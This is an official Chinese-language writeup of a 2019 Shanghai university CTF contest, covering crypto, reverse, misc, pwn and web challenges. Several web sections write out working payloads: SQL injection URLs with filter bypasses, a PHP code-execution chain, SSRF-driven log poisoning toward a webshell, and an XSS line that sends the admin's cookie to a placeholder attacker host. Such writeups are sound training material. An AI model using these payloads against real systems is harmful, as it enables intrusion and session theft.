第五屆上海市大學生網絡安全大賽官方WP

11月2日,2019年全國大學生網絡安全邀請賽暨第五屆上海市大學生網絡安全大賽線上賽圓滿結束!

本次線上賽比賽時長爲12個小時,賽題包括web題目4道,pwn題目3道,crypto題目2道、reverse題目2道,misc題目4道,靶場場景題1道,共計12道賽題,以下是本次線上賽的writeup(解題思路):

簽到題

附件爲一個被人修改過的010editor軟件,運行後,如果在界面裏點擊註冊,隨便亂填都可以註冊成功,好像註冊失敗會給我們什麼東西似的?
一種簡單的做法,下載官網並未被修改的過的010editor 9.0.2版本,安裝後,對比下exe文件。
在這裏插入圖片描述
另一個最簡單的做法就是查找flag字符串了。

Poly

  1. 考察的是多項式域上的計算,下面所有的運算都是指多項式域上的運算。

  2. 查看chall.sage代碼,其加密邏輯是這樣的,密鑰是分爲兩部分k1,k2,其會計算(k1*x+k2)%n的值作爲密文。一開始會生成兩個隨機數r1,r2,以及對r1,r2的加密結果。然後會把flag分成前後兩部分,對這兩部分分別進行加密,並輸出。

  3. 首先要恢復k1,k2,已知r1,r2,則構成了多項式域上的一個二元一次方程,需要運用多項式域上的除法來接這個方程。有了k1,k2後需要再解兩次次一元一次方程,解密flag。

  4. 編寫腳本 solve.sage。
    在這裏插入圖片描述

RSA

  1. 先看chall.py,發現就是rsa加密,給了n,但是沒有直接給e。根據e的範圍,知道e比較小,可以先爆破出e等於251。

  2. 下一個點是如何分解n,題目輸出了(1+p)/p+(1+q)/q =S,等式兩邊可以同乘以n=pq,並化簡,最後可以得到p+q的值,再根據n=pq,可以解這個二元二次方程,求出p,q。

  3. 用p,q獲得d,進行rsa 解密即可。
    在這裏插入圖片描述

HardWare

  1. 拿到接線圖和hex文件,因爲hex難以逆向,且題目給出了元件的明確型號和接線,可知是以仿真的形式來解題。proteus是一款主流的硬件仿真軟件,且使用門檻較低,網上關於使用proteus仿真Arduino的資料也很多,很容易學習。

  2. proteus在8.0以後可以直接找到Arduino整板的庫,不需要在手動構建最小系統板,但我這裏使用的是proteus7.8,所以還要自己搭建一個最小系統,但是也不麻煩,只是多了三個元件而已,晶振和2個電容。對於沒有相關基礎的選手,使用新版proteus更友好。

  3. 根據接線圖,連接數碼管和單片機。注意數碼管選擇,7seg-CC代表的是共陰極,我們元件也要選擇共陰極。
    在這裏插入圖片描述
    在這裏插入圖片描述

  4. 將hex導入單片機,點擊左下角的仿真按鈕,就可以觀察數碼管顯示。
    在這裏插入圖片描述

Unlimited Base64 Works

  1. 提取幀(可以使用ffmpeg -i ubw.avi -v:p 10 -r 30 ./out/out%d.png)

  2. 觀察到每一幀有一個base64字符,所以目標是把這些字符提取出來,

  3. 由於字符的位置是隨機的,可以先預處理把字符從圖片摳出來,遍歷一下找到字符的邊界即可

  4. 然後就是識別字符了,第一種做法是用ocr工具提取,比如pytesseract等,但對於l、I這些效果不是很好,需要手動修復一部分字符。第二種是根據字符的哈希恢復(因爲視頻是無損的,所以可以這麼做),需要手工整理64個字符的哈希值,使用pdb設置斷點可以很快完成這個過程。

  5. 將base64解碼,得到一張png圖片,即爲flag
    在這裏插入圖片描述

無線安全

  1. 拿到附件,發現有兩個文件,第一個是個data文件,第二個是個流量包flow.pcapng。先從流量入手,在分析一段之後,發現流量中存在adb安裝的特徵,在1180序號左右的包中出現。

  2. 過濾無用的流量,這裏我們確定電腦和手機的ip之後可以使用條件過濾。

在這裏插入圖片描述
但是發現還是有一些無用的tcp重傳,keep alive之類的包,這裏再進行過濾,完整的過濾條件如下:在這裏插入圖片描述
3. 將過濾後的流量包導出,使用腳本提取,觀察流量,在帶有WRTE的包之後就是一大串連續的數據,而且明顯是apk文件的內容,另外,還有一些帶OKAY或``CLSE的包,這些包中不帶有文件數據,可以跳過。因此寫出腳本,腳本在解題/extractApk.py`中,運行之後可以從過濾的流量中提取出apk文件。

這裏還需要手動刪除一些無用的數據,因爲apk是個壓縮包,所以PK頭很明顯,直接用010editor把前面沒用的數據刪了(注意路徑不要有中文,不然010可能會打不開)。
在這裏插入圖片描述
4. 將apk安裝到手機,可以發現需要輸入wifi密碼。
在這裏插入圖片描述
5. 這時候再回到第一個safe_wifi-01附件,我們打開看看內容,發現提示WEP,想到wep加密wifi的漏洞,可以使用經典工具aircrack套件破解。在這裏插入圖片描述
6. 運行一下aircrack-ng safe_wifi-01在這裏插入圖片描述

  1. 將wifi密碼輸入apk,得到flag
    在這裏插入圖片描述

Puzzle

  1. 跟蹤程序輸入,發現首先做了hex decode,然後做了一個rc4,密鑰爲qweee。

  2. 最後進入一個check函數,根據每位字符在0-9區間,對8個數字做不同的運算,最後要等於一些常數。

  3. 總可能性爲10^8,因此可以爆破,得到唯一解後rc4加密輸入到程序得到flag。解爲\x06\x01\x04\x09\x05\x00\x07\x02加密後爲7aaa29982a98eaab)。

在這裏插入圖片描述

Touch of Satan

  1. 運行程序,發現需要正確的輸入,否則輸出"error!"

  2. 逆向發現程序分三個部分,第一部分驗證flag格式爲uuid格式,第二部分根據flag第一個字符對flag的順序進行變換,最後使用一個加密算法加密並驗證flag。

  3. 逆向可以發現加密函數結構類似AES,但是輪數等細節都不一樣,由於加密過程並不複雜,可以手動逆向,也可以搜索得知是Serpent算法。

  4. 通過CRC算出key解出字符串“8a40759596ae4d9148da62dd06baf7a4”,再還原之前的順序變換,得到flag:flag{96ae4d91-7595-48da-8a40-62dd06baf7a4}。
    在這裏插入圖片描述

Boring Heap

  1. 本題libc版本爲2.23,保護全開,只允許用0x20, 0x30, 0x40的fastbin。

  2. 核心的漏洞點在於int y = abs(x)當x爲-2147483648時,y爲負數。

  3. 利用這一特性,配合Update函數,當chunk size爲0x30時,有機會改掉自己的Chunk header,實現unsorted bin和fastbin的overlap。

  4. 之後就是比較常規的思路了,hack main_arena然後改top,最後修改malloc_hook爲One_gadget。

  5. 本題可用malloc的次數很多,難度不算大。
    在這裏插入圖片描述

Login

  1. 檢查題目保護,題目沒開PIE保護。

  2. 使用 IDA逆向,很明顯delete功能中,free之後沒有清除指針,所以存在use after free 漏洞。

  3. 這題的難點在於沒有show 功能,無法直接泄露lib;最多隻能增加6個user,如果通過盲打iofile來泄露的話,次數有點少。

  4. 關鍵點在於login功能中的strcmp函數,我可能可以通過這個功能逐字節爆破我們想要的 內容。

  5. 首先製造一個unsorted bin,我們的目的是泄露unsorted bin fd上的libc地址。通過uaf,我們可以改寫user結構體第一個指針的低字節,使其指向fd的最高位,然後通過login功能爆破fd的最高字節,然後使用edit功能,將指針改寫爲指向fd的第二高字節,繼續爆破,這樣就可以逐字節爆破出fd上的內容,獲得libc地址。

  6. 有libc地址之後,可以通過uaf 僞造一個假的user 對象,改寫其函數指針,即可劫持控制流拿到shell。
    在這裏插入圖片描述

SlientNote

  1. 本題libc版本爲2.23,沒開pie和full-relro。只允許calloc 0x28的fastbin和0x208的unsorted bin。且bss上只有這兩個指針。

  2. 核心的漏洞點在於delete函數有double free。

  3. 但是因爲只有一個fastbin堆指針,無法直接free。所以先free一次,然後通過scanf讓其進smallbin再free一次。這樣就能觸發unlink。

  4. 修改free_got爲puts進行泄露。

  5. get shell的方法很多,這裏選擇繼續講free改爲system來穩定拿shell。

  6. 注:本題可以先自己試出不是tcache所以沒必要下發libc,後面可以通過泄露確定libc具體版本。

  7. 在這裏插入圖片描述

Decade

參考Payload:

/code/?code=echo(join(file(end(scandir(next(each(scandir(chr(floor(tan(tan(atan(atan(ord(cos(chdir(next(scandir(chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))))))))))))))))))))));

Easysql

  1. 嘗試尋找回顯點,使用join bypass逗號過濾。

/article.php?id=0’ union%0bselect * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23

  1. 嘗試爆表,但是or被過濾,我們選取另一個系統表mysql.innodb_table_stats。

/article.php?id=0’ union%0bselect * from (select 1)a join (select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b join (select 3)c join (select 4)d%23

  1. 使用無列名注入,拿到flag。

/article.php?id=0’ union%0bselect * from (select 1)z join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x join (select 3)v join (select 3)n%23

Babyt5

  1. 首先訪問頁面,是代碼審計題目,有flag.php文件,但是有過濾 使用php的一個bug 繞過過濾讀flag。Php,二次url編碼,繞過讀取提示

Php bug:https://bugs.php.net/bug.php?id=76671&edit=1

在這裏插入圖片描述
2. 根據提示查看 hosts文件。

在這裏插入圖片描述
3. 嘗試訪問臨近ip ,發現內網服務器,發現是一個任意文件包含。

在這裏插入圖片描述
4. 但是沒有其他服務,不好直接獲取shell,於是掃描端口。

在這裏插入圖片描述
發現 25端口開放 smtp協議, 於是思路爲通過gopher 打smtp協議,然後通過包含smtp 日誌來獲取webshell。

  1. 使用gopherus生成poc:

在這裏插入圖片描述
6. 通過二次編碼gopher協議攻擊內網smtp服務,污染日誌。
在這裏插入圖片描述
7. 通過lfi 獲取webshell 在根目錄下發現flag

在這裏插入圖片描述

Lol2

題目是xss打管理員獲取admin的cookie,然後替換cookie進入後臺,存在delete後面的注入。從數據庫中獲取flag。

  1. angular模板注入配合you.children[2].innerText執行xss代碼(name有長度限制

{{[].pop.constructor(‘eval((you.children[2].innerText))’)()}}

輸入框輸入

new Image().src=“https://yourweb/”+document.cookie

你的網址必須可以接收2次以上,第一次接收的爲自己的cookie,第二次纔是admin的cookie。

  1. 使用admin的cookie來訪問/admin,提交一次post表單,一番探測後發現刪除處存在注入,編寫 exp.py, 運行即可獲取flag。
    在這裏插入圖片描述
發佈了23 篇原創文章 · 獲贊 100 · 訪問量 8246
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章